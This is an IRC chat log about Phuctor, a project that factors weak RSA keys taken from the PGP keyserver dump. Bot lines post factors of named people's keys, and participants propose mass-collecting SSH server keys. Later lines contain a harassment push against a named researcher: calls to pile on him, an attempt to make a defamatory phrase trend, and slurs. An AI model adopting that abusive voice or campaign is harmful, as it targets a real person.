for the feeds. 1461370;1462215001;anotheryou;So many german pirate-party members on the list. How where the tested keys selected? I assume you had to start somewhere... 1461371;1462215014;mircea_popescu;nah, no selection. it's the whole sks dump 1461372;1462215048;asciilifeform;anotheryou: https://sks-keyservers.net 1461373;1462215056;mircea_popescu;(the keys are not processed one at a time. this used to be the case, but not anymore. now, all done simultaneously) 1461374;1462215200;anotheryou;So my uninformed conclusion would be that something went especially wrong in germany or the pirates cryptoparties got a lot of people using pgp in the first place. 1461375;1462215215;asciilifeform;anotheryou: most of the german keys are of the 'mirrored' type 1461376;1462215223;asciilifeform;and quite likely were crafted by a third party. 1461377;1462215260;anotheryou;third party means it was sort of an impersonation? 1461378;1462215263;asciilifeform;aha. 1461379;1462215276;asciilifeform;they appear to have the genuine key's fingerprint in certain pgp clients. 1461380;1462215286;anotheryou;I see. 1461381;1462215289;anotheryou;thanks for all the work :) 1461382;1462215441;mircea_popescu;it'd be fun if we could diagnose, eg, fukushima by quality of keys from place and time. 1461383;1462215479;asciilifeform;as with digital cameras, l0l! 1461384;1462215484;mircea_popescu;aha. 1461385;1462215495;asciilifeform;would be ++lulzy if we had the neutronograph 1461386;1462215515;asciilifeform;(neutron background pretty much everywhere on planet3 is same, with the exception of fukkupppies) 1461387;1462215515;jurov;neutrinoscope! 1461388;1462215516;mircea_popescu;but no, it's entirely out of the question any sort of natural event is at work here. usg.nsa been diddling not merely angela merkel's phone, 1461389;1462215525;mircea_popescu;but all communications of all germans at all levels possible. 1461390;1462215541;asciilifeform;the germans have been taking it nice and hard in the arse for half century +. 1461391;1462215550;asciilifeform;and so quietly, too. 1461392;1462215556;mircea_popescu;while supplies last. 1461393;1462215588;asciilifeform;$up steffen 1461394;1462215588;deedbot;steffen voiced for 30 minutes. 1461395;1462215641;steffen;being a german myself, yes, and that's where I thought pgp added a nice sense of privacy to interested parties no matter the government 1461396;1462215662;asciilifeform;mircea_popescu: pgp really took off in de, it seems 1461397;1462215669;asciilifeform;so that was where the ferret cannon was aimed. 1461398;1462215687;steffen;now my next question would be which software was used to generate the flawed keys and if those were software packages with malicious intent 1461399;1462215698;mircea_popescu;steffen you gotta make sure your pgp is actual protocol-strength rsa not merely promise-strength rsa tho. 1461400;1462215718;mircea_popescu;many rsa implementations, especially for the closed source walled gardens, are miserable indeed. 1461401;1462215725;steffen;I lack the skill to verify my software package 1461402;1462215730;steffen;i can only be so paranoid. 1461403;1462215735;mircea_popescu;steffen we've been trying to get people with exposed keys to post the software they used. 1461404;1462215752;mircea_popescu;steffen the golden standard re such verifications in tmsr is V. 1461405;1462215831;steffen;at least so far I can see that my key is not malformed. I'll certainly check that result page periodically in the future. 1461406;1462215842;mircea_popescu;works. 1461407;1462215899;steffen;a lot of germans that I know use gpg4win 1461408;1462215939;steffen;which incidentally is also a software package vetted by the BSI (german ministry for informational security or something like that) 1461409;1462215939;mircea_popescu;yeah ; a lot of eulora players also. seems to be the most accessible for "people in general" 1461410;1462216083;asciilifeform;steffen: any ministry recommending a ms-winblowz package ipso facto answers to washington. 1461411;1462216153;mircea_popescu;you recommend ida :) 1461412;1462216184;mircea_popescu;$up fromphuctor__ 1461413;1462216184;deedbot;fromphuctor__ voiced for 30 minutes. 1461414;1462216213;fromphuctor__;i have an idea for phuctor 1461415;1462216217;mircea_popescu;shoot. 1461416;1462216230;fromphuctor__;you could collect many millions keys from SSH server using the ssh-keyscan utility included in OpenSSH 1461417;1462216246;fromphuctor__;it is very fast 1461418;1462216251;mircea_popescu;iiuc jurov already has a more or less complete package of github keys, working to turn them into proper format. 1461419;1462216265;asciilifeform;mega-unsurprise, https://news.ycombinator.com/item?id=11609094 << buried. 1461420;1462216275;mircea_popescu;the rub there is, currently, the conversion not the acquisition 1461421;1462216314;mircea_popescu;asciilifeform awww, herpy bock got humiliated in public ? 1461422;1462216318;fromphuctor__;ssh-keyscan provide digits 1461423;1462216322;asciilifeform;mircea_popescu: aha 1461424;1462216326;asciilifeform;after which, zap 1461425;1462216347;mircea_popescu;fromphuctor__ yes but phuctor currently eats rfc 4880 format, owing to its history as a pgp key checker. 1461426;1462216356;asciilifeform;what the hell happened to the last time folks collected ssh pubkeys and bernsteined'em 1461427;1462216362;asciilifeform;i tried to find out, found ~0 1461428;1462216364;mircea_popescu;if you have a conversion script anywhere plox feel free to publish. 1461429;1462216375;mircea_popescu;asciilifeform "published studies". 1461430;1462216387;asciilifeform;mircea_popescu: yeah, heninger et al. but iirc there were others 1461431;1462216431;mircea_popescu;of course, others. "published". 1461432;1462216452;ben_vulpes;no code, not published. 1461433;1462216455;ben_vulpes;not in wot, not published. 1461434;1462216456;asciilifeform;sorta lulzy, how much mileage one can get by taking all the shit these muppets claim to have done, and actually ~doing~ it 1461435;1462216473;mircea_popescu;asciilifeform but he has a point ; once we get conversion going running a ssh-keyscan werker is good idea. 1461436;1462216477;asciilifeform;aha 1461437;1462216486;mircea_popescu;asciilifeform quite so, yep. 1461438;1462216492;mircea_popescu;reminds me of being in school. 1461439;1462216543;fromphuctor__;bye bye 1461440;1462216557;jurov;ssh-keyscan and the github trove are completely independent things (former scans for server keys, latter are users' keys) 1461441;1462216572;mircea_popescu;jurov yeah meanwhile it percolated through my head. 1461442;1462216601;mircea_popescu;this is rounding out nicely actually! 1461443;1462216606;fromphuctor__;it would be interested testing router keys 1461444;1462216619;mircea_popescu;it even has a -t rsa1! 1461445;1462216622;mircea_popescu;which really halps. 1461446;1462216640;mircea_popescu;$up fromphuctor___ 1461447;1462216640;deedbot;fromphuctor___ voiced for 30 minutes. 1461448;1462216649;fromphuctor__;https://en.wikibooks.org/wiki/OpenSSH/Cookbook/Authentication_Keys#Downloading_keys 1461449;1462216663;fromphuctor___;thanks... would the phuctor checker work with non PGP keys, if i correctly converted an RSA key to the required format? 1461450;1462216674;mircea_popescu;absolutely. 1461451;1462216683;mircea_popescu;as long as it's a rsa key, it will work. 1461452;1462216704;fromphuctor___;sounds like i'll be busy then! 1461453;1462216715;mircea_popescu;keep us posted 1461454;1462216721;mircea_popescu;also, consider registering your key with deedbot 1461455;1462216732;mircea_popescu;helps build your identity, and you'll be able to self-voice. 1461456;1462216746;fromphuctor___;i need to figure out how to convert plain key to that base64/der stuff 1461457;1462216754;fromphuctor___;ok 1461458;1462216778;mircea_popescu;it's also in the logs, but, https://tools.ietf.org/html/rfc4880 1461459;1462216818;fromphuctor___;will the submit page tell me my key is malformed if i made a mistake? 1461460;1462216822;mircea_popescu;yes. 1461461;1462216834;fromphuctor___;cool 1461462;1462216939;asciilifeform;mircea_popescu: https://www.reddit.com/r/sysadmin/comments/4hhd9p/psa_you_may_want_to_check_your_pgp_keys_and_keys/d2pqq41 << lel 1461463;1462216943;asciilifeform;was there really..? 1461464;1462216962;asciilifeform;i can't wait to listen to the tape of 'my' talk. 1461465;1462216964;asciilifeform;at shitcon. 1461466;1462216966;asciilifeform;or wherever. 1461467;1462216966;mircea_popescu;no idea ? 1461468;1462216981;mircea_popescu;you're asking me who you talked to ? what am i, the omniphone ? 1461469;1462216995;asciilifeform;well i did not in actuality give any such lecture 1461470;1462216998;asciilifeform;in real life. 1461471;1462217004;asciilifeform;but perhaps someone gave 'for'. 1461472;1462217017;asciilifeform;y'know, a henninger. 1461473;1462217018;mircea_popescu;eh reddit ; who even has teh energy. 1461474;1462217396;asciilifeform;mircea_popescu: l0l looks like moar ddos. 1461475;1462217675;mircea_popescu;asciilifeform it won't last, server's pretty well supplied. 1461476;1462217682;mircea_popescu;let 'em try. 1461477;1462217738;mircea_popescu;incidentally, i just remembered : http://www.hanewin.net/encrypt/PGpubkey.htm << this of any use ? 1461478;1462217796;asciilifeform;pretty basic rfc4880 parser thing aha 1461479;1462217877;mircea_popescu;asciilifeform but it also has a convertor to mpi/b64 1461480;1462217892;mircea_popescu;$up andrej235 1461481;1462217892;deedbot;andrej235 voiced for 30 minutes. 1461482;1462217895;asciilifeform;for folks trying to understand the format, it is worth a read 1461483;1462217940;mircea_popescu;PGencode.js particularily interesting i thought as it really takes base64 pubkey and puts it through rsa.js 1461484;1462217981;mircea_popescu;so isn't this pretty much 99% of bignum->rsa in pgp format ? 1461485;1462218032;asciilifeform;aha 1461486;1462218046;asciilifeform;agonizing to read on account of shitlang 1461487;1462218053;asciilifeform;and the million kludges it needs to do basic things 1461488;1462218057;asciilifeform;(e.g., ordinary integers) 1461489;1462218059;mircea_popescu;http://www.hanewin.net/encrypt/PGencode.js << the comments peculiarily amusing. 1461490;1462218067;mircea_popescu;"windows clock moves in 18.2 ms jumps" 1461491;1462218087;asciilifeform;'We need an unpredictable session key of 128 bits ( = 2^128 possible keys).' << lel 1461492;1462218111;mircea_popescu;still. it has a key parser that works. 1461493;1462218116;asciilifeform;aha 1461494;1462218137;asciilifeform;i actually came across it before, when cataloguing known pgptrons 1461495;1462218152;asciilifeform;(hunting for 'magical' ones) 1461496;1462218154;mircea_popescu;i put it on my pgp page on trilema,. forgot all abpout it, now stumbled on it all over again 1461497;1462218156;mircea_popescu;blogs rule. 1461498;1462218182;mircea_popescu;but yes, pretty nifty as you can use it to send a [sorta] encrypted message entirely via web 1461499;1462218194;asciilifeform;just like keybase!1111111 1461500;1462219531;asciilifeform;;;later tell jurov observed any spike in trb site traffic ? (it is linked from nosuchlabs.com) 1461501;1462219531;gribble;The operation succeeded. 1461502;1462220554;asciilifeform;so... looks like the reddit thing is done, huh. 1461503;1462220577;asciilifeform;like writing on beach sand. 1461504;1462220657;asciilifeform;farts in the wind. 1461505;1462220747;asciilifeform;$up plp 1461506;1462220747;deedbot;plp voiced for 30 minutes. 1461507;1462220756;mircea_popescu;you sound almopst like you're expecting something. 1461508;1462220779;asciilifeform;mircea_popescu: there is always the 1 reader in a million who says something applicable. 1461509;1462220787;asciilifeform;mega-unsurprise that he did not appear, sure. 1461510;1462220962;asciilifeform;mircea_popescu: picture if you threw a match into latrine and it roared with fire like jet engine. 1461511;1462220972;asciilifeform;yes, it is quite clear that latrine will not be flying anywhere. 1461512;1462220975;asciilifeform;but still impressive. 1461513;1462221032;mircea_popescu;of course he appeared ? we got all sorts of workable ideas for phuctor! 1461514;1462221075;asciilifeform;i don't recall any new ones 1461515;1462221178;mircea_popescu;well "new", nothing's ever new. 1461516;1462222187;asciilifeform;lel, megatonnes of traffic on my www also 1461517;1462222203;asciilifeform;largely from mircea_popescu's links 1461518;1462223558;asciilifeform;$up Valfor 1461519;1462223558;deedbot;Valfor voiced for 30 minutes. 1461520;1462223855;asciilifeform;$up fromphuctor__ 1461521;1462223855;deedbot;fromphuctor__ voiced for 30 minutes. 1461522;1462226584;phf;since today is a looking at stats day, btcbase is at modest 3500 hits right now, which has been the average since about april 6th, but note that the day is not over and system has been down for almost 8 hours. the number of hits brought by referer has spiked though to ~~500, and looking at graph roughly correlates to trilema posts. not surprisingly the top referer is trilema at ~~1000, followed by qntra at ~~600 and phuctor at ~~80. 1461523;1462226621;phf;(the last three values are totals) 1461524;1462226940;phf;the-phuctoring is second top ref from trilema, losing out by a large margin to top ref ill-pay-for-your-tits 1461525;1462227492;mircea_popescu;o.O check out the tits! 1461526;1462227885;asciilifeform;$up fromphuctor__ 1461527;1462227885;deedbot;fromphuctor__ voiced for 30 minutes. 1461528;1462228413;deedbot;[Trilema] The mathematics of scamming - http://trilema.com/2016/the-mathematics-of-scamming/ 1461529;1462228561;mircea_popescu;$up bolts 1461530;1462228561;deedbot;bolts voiced for 30 minutes. 1461531;1462232269;asciilifeform;mircea_popescu: 10000000th prime is... 1461532;1462232272;asciilifeform;179424691 1461533;1462232283;asciilifeform;gentlement please welcome the all-new 8ball. 1461534;1462232292;asciilifeform;deploying now. 1461535;1462232962;asciilifeform;;;later tell mircea_popescu from beloved l0lcow, https://twitter.com/hanno/status/727179938017759232 1461536;1462232962;gribble;The operation succeeded. 1461537;1462232989;asciilifeform;https://twitter.com/hanno/status/727049579389157376 << and 1461538;1462233000;asciilifeform;'if it's a bug it's most likely in the keyservers. if you look at those keys they usually have a lot of bytes replaced by ff values' 1461539;1462233001;asciilifeform;^ gold 1461540;1462233138;asciilifeform;https://github.com/hannob/pgpmoduli << and he's got the obligatory 'we did it first, move along!' thing going. 7h ago. 1461541;1462233380;asciilifeform;incidentally, didn't the derp already have a 'we did ALL the keyz' post LAST may ? 1461542;1462233396;asciilifeform;so how come he has to hastily do it (with henninger's proggy no less, see his shithub) ~now~ ? 1461543;1462233405;asciilifeform;noteventrying.jpg 1461544;1462233436;asciilifeform;(and where are his posts on any other subject ?) 1461545;1462235193;deedbot;[Recent Phuctorings.] Phuctored: 6723834688378347131962599764946917095897099 divides RSA Moduli belonging to 'Tim Fiedler ; ' - http://phuctor.nosuchlabs.com/gpgkey/FE99DB4C8A6980859D6C2322594C1B2CB4348ECB0F9BA3A7275285C7F3D02F7F 1461546;1462235194;deedbot;[Recent Phuctorings.] Phuctored: 4309906883679414593286257 divides RSA Moduli belonging to 'Sven Arnold ; ' - http://phuctor.nosuchlabs.com/gpgkey/DC9D7BC1ADFF9D074C29DA18CB7224920FDAABD2348152DE296A6293FF3C1914 1461547;1462235195;deedbot;[Recent Phuctorings.] Phuctored: 7495348559018251213 divides RSA Moduli belonging to 'Paul Okkerse (Hoofd ICT) ; ' - http://phuctor.nosuchlabs.com/gpgkey/DAB44446629F9CF37EB64BF72BBB6471AB6817777283D5F20F162E4FD344C3C5 1461548;1462235195;deedbot;[Recent Phuctorings.] Phuctored: 1391496359719179921 divides RSA Moduli belonging to 'Tim Fiedler ; ' - http://phuctor.nosuchlabs.com/gpgkey/D7B81471B4D1C2FC6AA8D6709F391B026BD1BAFEBAB21AE8BA277C1B3D054536 1461549;1462235196;deedbot;[Recent Phuctorings.] Phuctored: 2095136408731482091 divides RSA Moduli belonging to 'Yumeomi Tanaki; ' - http://phuctor.nosuchlabs.com/gpgkey/9B9B0ED6921A8C15003519B16DAED0FB79CB70782F178A4DD5CE5FBDCF85C47A 1461550;1462235200;asciilifeform;theeeeeeeere we go 1461551;1462235217;*;asciilifeform cleans chopping block 1461552;1462235337;asciilifeform;the folks who keep popping, are good candidates for 'random int' hypothesis 1461553;1462235345;asciilifeform;others - less so. 1461554;1462235482;*;asciilifeform doing what he does every single fucking day of the week, applying to jobz, and notices a 'christ-based software products!' 1461555;1462235504;asciilifeform;finally the ancient prophecy coming true, a genuine merger of software and conventional voodoo ! 1461556;1462235551;BingoBoingo;Classic trilema http://trilema.com/2013/margaritas-ante-porcos-as-it-were/ 1461557;1462235583;asciilifeform;lulzily i get unsolicited wurk callz every few days 1461558;1462235589;asciilifeform;but they are useless 1461559;1462235738;ben_vulpes;how useless? 1461560;1462235742;asciilifeform;nonremote 1461561;1462235747;asciilifeform;and 9 times out of 10 usg. 1461562;1462235763;deedbot;[Recent Phuctorings.] Phuctored: 226646661742163 divides RSA Moduli belonging to 'dallasdak96 ; ' - http://phuctor.nosuchlabs.com/gpgkey/12AD3EF8AAEFE48EA63A8917991A984660ECEB4194F6F5CEC2EA8304CB2C120F 1461563;1462235763;deedbot;[Recent Phuctorings.] Phuctored: 625320991898048033 divides RSA Moduli belonging to 'Henry Hertz Hobbit ; Henry Hertz Hobbit ; Henry Hertz Hobbit ; Henry Hertz Hobbit ; ' - http://phuctor.nosuchlabs.com/gpgkey/63016E43A530350EC983F09A74C50EC8E87FEB92F3DEAC355BE2E64CA7985921 1461564;1462235767;ben_vulpes;path dependency's a bitch. 1461565;1462235783;ben_vulpes;but hey! 1461566;1462235804;ben_vulpes;you could be fielding questions from clients past about why you billed them nine hundred grand for misc. support over the month. 1461567;1462235816;ben_vulpes;look at the upside! think of all the tacks you don't have to chew! 1461568;1462235861;asciilifeform;waiwut 1461569;1462235914;asciilifeform;$up zgrep 1461570;1462235914;deedbot;zgrep voiced for 30 minutes. 1461571;1462235931;asciilifeform;ben_vulpes knows that i chew only rusty nails mixed in liquid shit 1461572;1462235934;asciilifeform;never tacks. 1461573;1462235970;*;trinque emits a parser error 1461574;1462236008;ben_vulpes;unrelatedly, datomic is a *very* spiffy data abstraction layer. 1461575;1462236014;asciilifeform;wats that 1461576;1462236052;ben_vulpes;proprietary proggy that sits atop your $db of choice 1461577;1462236090;asciilifeform;and? 1461578;1462236094;ben_vulpes;effectively a distributed prolog-alike db, to the extent that i can be trusted to call something 'prolog-alike' 1461579;1462236134;asciilifeform;ben_vulpes: ever play with symbolics 'joshua' ? 1461580;1462236154;ben_vulpes;the answer to 'ever play with symbolics *' is always 'no', dude. 1461581;1462236161;asciilifeform;https://courses.csail.mit.edu/6.871/Assignment3/joshua-reference-manual.pdf 1461582;1462236178;asciilifeform;ben_vulpes: download 13333333333333333337 w4r3z and run emulator 1461583;1462236185;asciilifeform;it (mostly) worx. 1461584;1462236212;asciilifeform;alternatively, 1461585;1462236215;asciilifeform;watch the movie, https://www.youtube.com/watch?v=6uPwQuxjgQo . 1461586;1462236238;ben_vulpes;not an expert system, not ai, not anything special. 1461587;1462236299;ben_vulpes;simple an EAVT data store with a single threaded writer. caches recent images of the db in peer memory (yes, 'immutable' db). 1461588;1462236318;asciilifeform;like 'elephant' ? 1461589;1462236331;ben_vulpes;ish 1461590;1462236340;asciilifeform;( for n00bz, https://common-lisp.net/project/elephant ) 1461591;1462236352;ben_vulpes;but i don't know enough about elephant to say. 1461592;1462236358;ben_vulpes;seemed very specifically a CLOS data store. 1461593;1462236360;asciilifeform;it is spiffy 1461594;1462236370;asciilifeform;mostly shoots in the head the need to think about db 1461595;1462236399;ben_vulpes;mostly, except as trinque discovered when one goes to do joins. 1461596;1462236406;asciilifeform;but tricky to set up (it refuses to work on a great many 'modern' linuxen due to library retardation) 1461597;1462236410;ben_vulpes;when, smack back in SQLland. 1461598;1462236417;asciilifeform;iirc trinque was using conventional sql ? 1461599;1462236424;ben_vulpes;elephant on PG. 1461600;1462236427;asciilifeform;ah hm. 1461601;1462236442;ben_vulpes;because if it cannot support multiple web hosts, it is not a db with which i will fuck. 1461602;1462236462;asciilifeform;what means 'multiple web hosts' ? 1461603;1462236469;trinque;tbh I'm willing to consider that if you wrote too many layers of joins and views, you chose the wrong data structure in the beginning 1461604;1462236473;asciilifeform;>1 instance of apache? or what 1461605;1462236485;ben_vulpes;asciilifeform: yes, that. or your actual logic layer of choice. 1461606;1462236551;ben_vulpes;whatever it is that returns the JSON that sends mircea_popescu scrambling and screaming for the "programmer's view" 1461607;1462236598;phf;Datomic is piece of shit for non-trivial datasets. I don't understand how they could steal so much old lisp tech and still manage to fuck it up 1461608;1462236619;asciilifeform;phf: the perennial question re shitware, no ? 1461609;1462236619;ben_vulpes;phf: knows from experience?! 1461610;1462236622;asciilifeform;think of, e.g., java. 1461611;1462236630;asciilifeform;'stole so much, delivers so little' 1461612;1462236660;ben_vulpes;i wish i had the historical perspective to even know. 1461613;1462236700;ben_vulpes;mostly, i find rocks of various sharpness and heaviness and use them to beat my local reality into shape. 1461614;1462236758;ben_vulpes;phf: i would like to hear about what kinds of misery you've found in datomic. not to doubt! never to doubt the misery of technology. but out of curiosity, and limits-finding by proxy. 1461615;1462236912;ben_vulpes;(and also as previously discussed in logs, the scraps on my table are rarely of "web scale" magnitude) 1461616;1462237105;phf;Sorry I'm on phone and just needed to pipe in. But I picked up datomic on a project as "clojure take on allegro cache" and I was expecting similar performance (tens of millions of records on a reasonable machine) 1461617;1462237146;ben_vulpes;> allegro cache 1461618;1462237155;*;ben_vulpes sobs 1461619;1462237172;phf;Needless to say it's nowhere near there. Be prepared to grok both datomic and the underlying store. 1461620;1462237179;ben_vulpes;mhm. 1461621;1462237187;ben_vulpes;yeah, i only run on postgres for that precise reason. 1461622;1462237225;phf;Basically the game becomes "how does query translate into PostgreSQL so I can index all the things" 1461623;1462237281;phf;And those proverbial millions of records require really beefy machines. 8gb of ram, fast flash drives, etc 1461624;1462237287;ben_vulpes;it is the classic "db that looks good but needs tender loving care from its authors to work well" software trap. 1461625;1462237307;phf;Don't worry you can hire them to consult :) 1461626;1462237310;ben_vulpes;i harbor no illusions in this regard. 1461627;1462237343;ben_vulpes;were i not desperately trying to eke my own living out i would most likely be camping outside of the cognitect offices until they took pity upon me and let me sweep the floor. 1461628;1462237478;ben_vulpes;> allows programmers to work directly with objects as if they were in memory while in fact the object data is always stored persistently << stinks of ORM shit-dippery 1461629;1462237517;asciilifeform;ben_vulpes: wats that 1461630;1462237526;ben_vulpes;"object relational model" 1461631;1462237559;*;asciilifeform knows ~nothing of this. 1461632;1462237566;ben_vulpes;may ye long remain ignorant of it 1461633;1462237568;ben_vulpes;Foo.objects.get(pk=20) or Foo.objects.get(name="Stan") 1461634;1462237586;ben_vulpes;'tis the root of the success of Rails and friends 1461635;1462237586;trinque;b-but y'know sql is hard and so caked shit atop 1461636;1462237595;ben_vulpes;"you mean i don't have to think about the db!?!?" 1461637;1462237716;*;ben_vulpes off 1461638;1462240444;BingoBoingo;https://i.imgur.com/gbUTblM.png 1461639;1462241247;BingoBoingo;https://sli.mg/3Jyyjm 1461640;1462241954;BingoBoingo;!up ascii_deadfiber 1461641;1462241955;gribble;Error: "up" is not a valid command. 1461642;1462241962;BingoBoingo;$UP ascii_deadfiber 1461643;1462241963;deedbot;ascii_deadfiber voiced for 30 minutes. 1461644;1462241978;ascii_deadfiber;ho. 1461645;1462241979;ascii_deadfiber;hoho. 1461646;1462242006;BingoBoingo;HO HO HO TO YOU TOO FULL STOP 1461647;1462242013;ascii_deadfiber;snow, in motherfucking may. 1461648;1462242030;BingoBoingo;wow, I thought you had swamp 1461649;1462242040;ascii_deadfiber;aha. 1461650;1462242066;ascii_deadfiber;aha. 1461651;1462242066;ascii_deadfiber;and icestorm in may. 1461652;1462242066;ascii_deadfiber;apparently. 1461653;1462242103;BingoBoingo;And ascii_deadfiber thinks the middle west is horribru 1461654;1462242113;ascii_deadfiber;zoolag dead until further notice. 1461655;1462242413;ascii_deadfiber;you can't even ~get~ real net in midwest. 1461656;1462242426;ascii_deadfiber;at least not on human budget. 1461657;1462242526;BingoBoingo;Seriously, you get fiber in the middle west, that connects to hubs in different directions. We discovered redundancy 3 years ago and nao everything is grand. 1461658;1462242589;ascii_deadfiber;then why BingoBoingo's node not 24/7 ? 1461659;1462242619;BingoBoingo;Not all middle west are equal and which node is Bingo's? 1461660;1462242645;ascii_deadfiber;the one mentioned back when 1461661;1462242675;ascii_deadfiber;and in which midwest decent fiber? 1461662;1462242711;ascii_deadfiber;if it's urban centres, i need those like i need second arse drilled. 1461663;1462242926;BingoBoingo;Turned out box rented back then was crap still running node at home and not advertising, programable version string for reason 1461664;1462242963;BingoBoingo;And no, the good fiber in the midwest is in exurbs. Usually connects to nearest urban center and a further urban center because 1461665;1462243802;BingoBoingo;$up dotblank 1461666;1462243803;deedbot;dotblank voiced for 30 minutes. 1461667;1462244775;BingoBoingo;$up fromphuctor__ 1461668;1462244776;deedbot;fromphuctor__ voiced for 30 minutes. 1461669;1462251590;hanbot; not surprisingly the top referer is trilema at ~~1000, followed by qntra at ~~600 and phuctor at ~~80. << wait, qntra's doing 60% of trilema's load *without* tits? very impressive. 1461670;1462253747;deedbot;[» Contravex: A blog by Pete Dushenski] Baruth skips truth, or when Jack went whack. - http://www.contravex.com/2016/05/02/baruth-skips-truth-or-when-jack-went-whack/ 1461671;1462259131;mircea_popescu;o look. logs! 1461672;1462259149;mircea_popescu;hanbot qntra has BingoBoingo 's tits, what. hater. 1461673;1462260041;mircea_popescu;$up fromphuctor__ 1461674;1462260041;deedbot;fromphuctor__ voiced for 30 minutes. 1461675;1462261374;mircea_popescu;http://btcbase.org/log/2016-05-02#1461535 << lmao apparently somebody hasn't fully digested the lessons of history. 1461676;1462261374;a111;Logged on 2016-05-02 23:49 asciilifeform: ;;later tell mircea_popescu from beloved l0lcow, https://twitter.com/hanno/status/727179938017759232 1461677;1462261407;mircea_popescu;he even has a gavinesque retarded face, also. what's with all these mongoloid cheeks everywhere in the dumbass "computing co-manatee" ? 1461678;1462261415;mircea_popescu;and holy shit does twitter load a lot of spurious junk. 1461679;1462261513;mircea_popescu;anyway, on the off chance anyone still has a twitter account at this point, feel free to bash his head in over https://twitter.com/hanno/status/727047168037642240 1461680;1462261692;mircea_popescu;as little as a link to .... o wait, check it out... hacker news beleeted the comment pointing out he was caught lying last year. loller. anyway. as much as a link to Hanno Böck caught lying. will do 1461681;1462261710;mircea_popescu;actually, lettuce make that url trend for "Hanno Böck caught lying", it'll no doubt do wonders for his career. 1461682;1462263336;mircea_popescu;http://btcbase.org/log/2016-05-02#1461541 << yep, he did. 1461683;1462263336;a111;Logged on 2016-05-02 23:56 asciilifeform: incidentally, didn't the derp already have a 'we did ALL the keyz' post LAST may ? 1461684;1462263401;mircea_popescu;http://btcbase.org/log/2016-05-03#1461545 << nice, starting to get some serious numbers. 1461685;1462263401;a111;Logged on 2016-05-03 00:26 deedbot: [Recent Phuctorings.] Phuctored: 6723834688378347131962599764946917095897099 divides RSA Moduli belonging to 'Tim Fiedler ; ' - http://phuctor.nosuchlabs.com/gpgkey/FE99DB4C8A6980859D6C2322594C1B2CB4348ECB0F9BA3A7275285C7F3D02F7F 1461686;1462263438;mircea_popescu;poor hanno boeck & assorted shitbag parade, they don't even run systems with native bignum support, wtf are they gonna do now! 6723834688378347131962599764946917095897099 dun fit in javascript calculator mang, wat do! 1461687;1462263580;mircea_popescu;http://btcbase.org/log/2016-05-03#1461555 << ahaha, prolly great place to work, you know. 1461688;1462263580;a111;Logged on 2016-05-03 00:31 asciilifeform: finally the ancient prophecy coming true, a genuine merger of software and conventional voodoo ! 1461689;1462263591;mircea_popescu;historically, stonemasons had a better time of it working for temples than gaols. 1461690;1462263626;mircea_popescu;http://btcbase.org/log/2016-05-03#1461556 << i was wondering when you'll get to that :) 1461691;1462263626;a111;Logged on 2016-05-03 00:32 BingoBoingo: Classic trilema http://trilema.com/2013/margaritas-ante-porcos-as-it-were/ 1461692;1462263721;mircea_popescu;http://btcbase.org/log/2016-05-03#1461588 << alf teh bee dog, diligently pushing people towards better os solutions. results vary. 1461693;1462263721;a111;Logged on 2016-05-03 00:45 asciilifeform: like 'elephant' ? 1461694;1462263908;mircea_popescu;http://btcbase.org/log/2016-05-03#1461603 << where too many reduces to two. 1461695;1462263908;a111;Logged on 2016-05-03 00:47 trinque: tbh I'm willing to consider that if you wrote too many layers of joins and views, you chose the wrong data structure in the beginning 1461696;1462264243;mircea_popescu;http://btcbase.org/log/2016-05-03#1461614 << ianacs, but : fwis the way all these "modern" computing stacks work, is they are made by people with absolutely no system design training, competence or understanding. as a result, they end up hand-crafting the tail. the ready equivalent would be a "new, modern" game of chess, where as the game progresses more and more moves have to be verified against a rulebook ; and then against 1461697;1462264243;a111;Logged on 2016-05-03 00:52 ben_vulpes: phf: i would like to hear about what kinds of misery you've found in datomic. not to doubt! never to doubt the misery of technology. but out of curiosity, and limits-finding by proxy. 1461698;1462264244;mircea_popescu; an expert rabbi, and finally verification be damned, the MEANING of moves can't even be extracted anymore. all this because instead of getting very clearly fundamental principles and sticking to them, they followed the "crazy shit stick on all sides of rifle" approach, with the predictable (and predicted) result that "you fuck it, it gets heavy, and you still don't hit large side of barn". so that's exactly what happens : ea 1461699;1462264244;mircea_popescu;rly game looks spiffy (on all of them!), as the data moves from kb to mb and the node count goes up and on and on, the thing (all of them!) collapses in a pile of uncaught, "nobodycouldhavepredicted" complexity explosions. and all this because idiot/voodoo expert came up with the brilliant idea of "hey, we make robot for your nuclear plant, and if it drops the pu brick you just pick it up by hand and put it back in the hopper 1461700;1462264247;deedbot;[Trilema] PSA : Hanno Böck, still a deceitful shitbag. - http://trilema.com/2016/psa-hanno-bock-still-a-deceitful-shitbag/ 1461701;1462264249;mircea_popescu;". like it's fucking 1700 all over again or some shit, and they're refugees from the Alchemics & Perpetuum Mobile society. 1461702;1462264375;mircea_popescu;;;google Hanno Böck, deceitful shitbag 1461703;1462264376;gribble;August 2015 – The American Catholic: ; Big Protest In Rome Against NATO Aggression&Bombing Libya: 1461704;1462264386;mircea_popescu;not yet huh ? aaaite. 1461705;1462264479;mircea_popescu;http://btcbase.org/log/2016-05-03#1461623 << me sobs at the alt reality where 8gb counts for really beefy. phuctor is on 1/4 tb, yo. unless it was 1/2 ? i forget. 1461706;1462264479;a111;Logged on 2016-05-03 01:01 phf: And those proverbial millions of records require really beefy machines. 8gb of ram, fast flash drives, etc 1461707;1462264691;mircea_popescu;lmao "my vodka identifies as water - therefore it is good for me!" 1461708;1462264783;mircea_popescu;http://btcbase.org/log/2016-05-03#1461647 << stop globalwarming, citizen. the coming ice age is not pleased. 1461709;1462264783;a111;Logged on 2016-05-03 02:20 ascii_deadfiber: snow, in motherfucking may. 1461710;1462264848;mircea_popescu;http://btcbase.org/log/2016-05-03#1461655 << i thought we were over this a few times ? yes, you can, many midwestern municipalities run isps, which are by and large BETTER than anything you can get in washington, which are the usual telcos. 1461711;1462264848;a111;Logged on 2016-05-03 02:26 ascii_deadfiber: you can't even ~get~ real net in midwest. 1461712;1462270785;mircea_popescu;http://phuctor.nosuchlabs.com/gpgkey/561245D928FF0843F5F346549A73B46C6836E3B2BE309DC7F6CCAFCF7F17795C << thinking about it, this is quite the example. 4096 key, correct e, divisible by 5, 11, 23, 447. 1461713;1462270799;mircea_popescu;Apocalyptic ^ i propose as best candidate for m-r testing. 1461714;1462271290;mircea_popescu;in vaguely related lulz, http://www.javascripter.net/math/primes/millerrabinbug-bigint54.htm as well as "However, if you try to pass an odd number n greater than 2^53 the test will not work because the argument would actually turn out to be some other number approximately equal to the desired odd number: JavaScript/IEEE754 cannot exactly represent odd numbers that large!" 1461715;1462271823;mircea_popescu;$up m0 1461716;1462271824;deedbot;m0 voiced for 30 minutes. 1461717;1462274646;mircea_popescu;incidentally, anyone have a general 